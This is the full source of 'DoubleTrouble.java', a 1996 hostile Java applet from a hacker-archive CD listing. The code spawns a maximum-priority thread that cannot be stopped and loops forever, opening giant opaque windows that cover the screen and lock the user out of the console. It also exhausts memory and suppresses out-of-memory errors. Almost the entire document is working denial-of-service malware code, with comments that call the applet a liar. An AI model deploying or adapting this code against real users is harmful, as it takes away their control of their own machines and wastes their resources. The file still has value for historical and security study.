home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / internet / dtrouble.jav < prev    next >
Encoding:
Text File  |  2003-06-11  |  4.1 KB  |  137 lines

  1. /* DoubleTrouble.java by Mark D. LaDue */
  2.  
  3. /* April 17, 1996 */
  4.  
  5. /* Copyright (c) 1996 Mark D. LaDue
  6.    You may study, use, modify, and distribute this example for any purpose.
  7.    This example is provided WITHOUT WARRANTY either expressed or implied.  */
  8.  
  9. /* This Java Applet is intended to spew forth huge non-functioning yellow
  10.    and black windows and obliterate the screen in order to exclude the
  11.    user from the console. */
  12.  
  13. import java.awt.*;
  14.  
  15. public class DoubleTrouble extends java.applet.Applet implements Runnable {
  16.  
  17. //  Just a font to paint strings to the applet window 
  18.     Font wordFont = new Font("TimesRoman", Font.BOLD, 36);
  19.  
  20. //  This thread will attempt to spew forth huge windows and waste resources 
  21.     Thread wasteResources = null;
  22.  
  23. //  An offscreen Image where lots of action will take place
  24.     Image offscreenImage;
  25.  
  26. //  Graphics tools to handle the offscreen Image
  27.     Graphics offscreenGraphics;
  28.  
  29. //  To avoid arrays and have open-ended storage of results
  30.     StringBuffer holdBigNumbers = new StringBuffer(0);
  31.  
  32. //  Used to read in a parameter that makes the thread sleep for a
  33. //  specified number of seconds
  34.     int delay;
  35.  
  36. //  A window that repeatedly tries to obscure everything 
  37.     Frame littleWindow;
  38.  
  39.  
  40. /*  Set up a big white rectangle in the browser, get the sound, and
  41.     create the offscreen graphics  */ 
  42.  
  43.     public void init() {
  44.     setBackground(Color.white);
  45.     offscreenImage = createImage(this.size().width, this.size().height);
  46.     offscreenGraphics = offscreenImage.getGraphics();
  47.  
  48. //  Determine how many seconds the thread should sleep before kicking in
  49.     String str = getParameter("wait");
  50.     if (str == null)
  51.         delay = 0;
  52.     else delay = (1000)*(Integer.parseInt(str));
  53.     }
  54.  
  55.  
  56. /*  Create and start the offending thread in the standard way */
  57.  
  58.     public void start() {
  59.         if (wasteResources == null) {
  60.         wasteResources = new Thread(this);
  61.         wasteResources.setPriority(Thread.MAX_PRIORITY);
  62.         wasteResources.start();
  63.         }
  64.     }
  65.  
  66. /*  We certainly won't be stopping anything */
  67.  
  68.     public void stop() {}
  69.  
  70.  
  71. /* Start the annoying sound and repeatedly open windows
  72.    while doing lots of other wasteful operations */ 
  73.  
  74.     public void run() {
  75.  
  76. //  Let the applet tell its lie
  77.     repaint();
  78.  
  79. //  Let the applet appear honest by having its thread sleep for a while
  80.         try {Thread.sleep(delay);}
  81.         catch (InterruptedException e) {}
  82.  
  83. //  Now fill the screen with huge yellow and black windows, one atop another,
  84. //  and do lots of wasteful stuff!
  85.  
  86.         while (true) {
  87.         try {
  88.         holdBigNumbers.append(0x7fffffffffffffffL);
  89.         littleWindow = new DoubleFrame("ACK!", 255, 255, 0); // create a window
  90.         littleWindow.resize(1000000, 1000000);  // make it big!
  91.         littleWindow.move(-1000, -1000);  // cover everything
  92.         littleWindow.show();  //  now open the big window
  93.         littleWindow = new DoubleFrame("Yikes!", 0, 0, 0);
  94.         littleWindow.resize(1000000, 1000000);
  95.         littleWindow.move(-1000, -1000);
  96.         littleWindow.show();
  97.         }
  98.         catch (OutOfMemoryError o) {}
  99.         repaint();
  100.         }
  101.     }
  102.  
  103.  
  104. /*  Paints the applet's snide remarks */
  105.  
  106.     public void update(Graphics g) {
  107.         paint(g);
  108.     }
  109.  
  110.     public void paint(Graphics g) {
  111.     g.setColor(Color.red);
  112.     g.setFont(wordFont);
  113.     g.drawString("I'm A Hostile Applet!", 10, 200);
  114.     offscreenGraphics.setColor(Color.white);
  115.     offscreenGraphics.drawRect(0, 0, this.size().width, this.size().height);
  116.     offscreenGraphics.setColor(Color.blue);
  117.     offscreenGraphics.drawString(holdBigNumbers.toString(), 10, 50);
  118.     }
  119. }
  120.  
  121. /* Makes the big, opaque windows */
  122.  
  123. class DoubleFrame extends Frame {
  124.     Label l;
  125.  
  126. //  Constructor method
  127.     DoubleFrame(String title, int r, int g, int b) {
  128.         super(title);
  129.         setLayout(new GridLayout(1, 1));
  130.         Canvas blackCanvas = new Canvas();
  131.         Color c = new Color(r, g, b);
  132.         blackCanvas.setBackground(c);
  133.         add(blackCanvas);
  134.     }
  135. }
  136.  
  137.